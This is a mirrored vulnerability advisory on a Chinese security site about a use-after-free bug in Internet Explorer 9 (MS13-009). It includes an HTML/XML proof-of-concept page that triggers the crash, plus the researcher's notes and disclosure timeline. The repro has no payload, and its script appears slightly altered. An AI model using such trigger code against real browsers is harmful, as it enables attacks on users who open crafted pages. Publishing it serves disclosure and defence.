首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Microsoft Internet Explorer 9 - CDoc::ExecuteScriptUri Use-After-Free (MS13-009)
来源:http://blog.skylined.nl 作者:Skylined 发布时间:2016-12-07  
<!--
Source: http://blog.skylined.nl/20161202001.html
 
Synopsis
 
A specially crafted web-page can trigger a use-after-free vulnerability in Microsoft Internet Explorer 9. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability.
 
Known affected software and attack vectors
 
Microsoft Internet Explorer 9
 
An attacker would need to get a target user to open a specially crafted web-page. Disabling Java does not prevent an attacker from triggering the vulnerable code path.
 
Repro.html:
-->
 
<iframe style="border:1px solid red;width:100%;height:100%;" name="iframe"></iframe>
<script>
    window.open("Repro.xml", "iframe");
    set(function () {
      window.open('javascript:void(location.href = "about:blank");', "iframe");
    }, 1000);
</script>
 
<!--
Repro.xml:
 
<!DOCTYPE x PUBLIC "" "http://www.w3.org/TRt.dtd">
 
Description
 
This is the first security vulnerability I sold to ZDI after I quit my job at Google to live off security bug bounties. It appears I either did not analyze this issue (probably), or misplaced my analysis (probably not), as I cannot find any details in my archives, other than a repro and a HTML bug report (provided below) created by a predecessor to Bug. From the information provided by ZDI in their advisory, and Microsoft in their bulletin, as well as the bug report, it seems to have been a use-after-free vulnerability. Unfortunately, that is all the analysis I can provide.
 
Time-line
 
June 2012: This vulnerability was found through fuzzing.
June 2012: This vulnerability was submitted to ZDI.
July 2012: This vulnerability was acquired by ZDI.
September 2012: This vulnerability was disclosed to Microsoft by ZDI.
February 2013: Microsoft addresses this vulnerability in MS13-009.
December 2016: Details of this vulnerability are released.
-->
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Microsoft Edge - CMarkup::Ensu
·Microsoft Edge - CBaseScriptab
·Microsoft Edge - JSON.parse In
·Microsoft Internet Explorer js
·Microsoft PowerShell - XML Ext
·Windows 10 x86/x64 WLAN AutoCo
·Linux Kernel 4.4.0 (Ubuntu 14.
·Dual DHCP DNS Server 7.29 - De
·DiskBoss Enterprise 7.4.28 - '
·TP-LINK TD-W8951ND - Denial of
·Dup Scout Enterprise 9.1.14 -
·OpenSSH 7.2 - Denial of Servic
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved